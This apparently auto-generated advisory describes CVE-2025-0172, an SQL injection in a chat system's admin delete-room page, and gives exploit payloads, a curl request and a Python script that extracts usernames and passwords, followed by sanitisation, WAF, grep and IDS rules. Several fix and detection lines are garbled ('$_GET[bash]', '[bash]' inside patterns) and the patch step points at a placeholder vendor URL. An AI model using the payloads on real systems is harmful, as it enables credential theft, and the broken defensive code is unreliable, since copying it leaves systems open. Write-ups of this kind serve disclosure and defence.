How the CVE Works
CVE-2025-0172 is a critical SQL injection vulnerability in Code-Projects Chat System 1.0, specifically in the `/admin/deleteroom.php` file. The flaw occurs due to improper sanitization of the `id` parameter, allowing attackers to inject malicious SQL queries. When an attacker sends a crafted HTTP request with a manipulated `id` value, the backend database executes unintended commands. This can lead to unauthorized data access, modification, or deletion. The vulnerability is remotely exploitable with low attack complexity, requiring only a low-privileged account.

Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/03/2025
What Undercode Say:
Exploitation
1. Craft SQL Payload:
id=1' OR 1=1--
2. Send Malicious Request:
curl -X GET "http://target.com/admin/deleteroom.php?id=1' OR 1=1--"
3. Automated Exploit (Python):
import requests
target = "http://target.com/admin/deleteroom.php"
payload = "1' UNION SELECT username, password FROM users--"
response = requests.get(f"{target}?id={payload}")
print(response.text)
Protection
1. Input Sanitization:
$id = mysqli_real_escape_string($conn, $_GET[bash]);
2. Prepared Statements:
$stmt = $conn->prepare("DELETE FROM rooms WHERE id = ?");
$stmt->bind_param("i", $_GET[bash]);
$stmt->execute();
3. WAF Rules:
location /admin/ {
if ($args ~ "union|select|--") {
return 403;
}
}
Detection
1. Log Analysis:
grep "deleteroom.php?id=.[bash]" /var/log/apache2/access.log
2. IDS Signature:
alert http any any -> $HOME_NET any (msg:"SQLi Attempt"; content:"/deleteroom.php?id="; pcre:"/[bash].union|select/i"; sid:10001;)
Mitigation
1. Patch Upgrade:
wget https://vendor.com/patch/CVE-2025-0172-fix.zip unzip CVE-2025-0172-fix.zip -d /var/www/html/
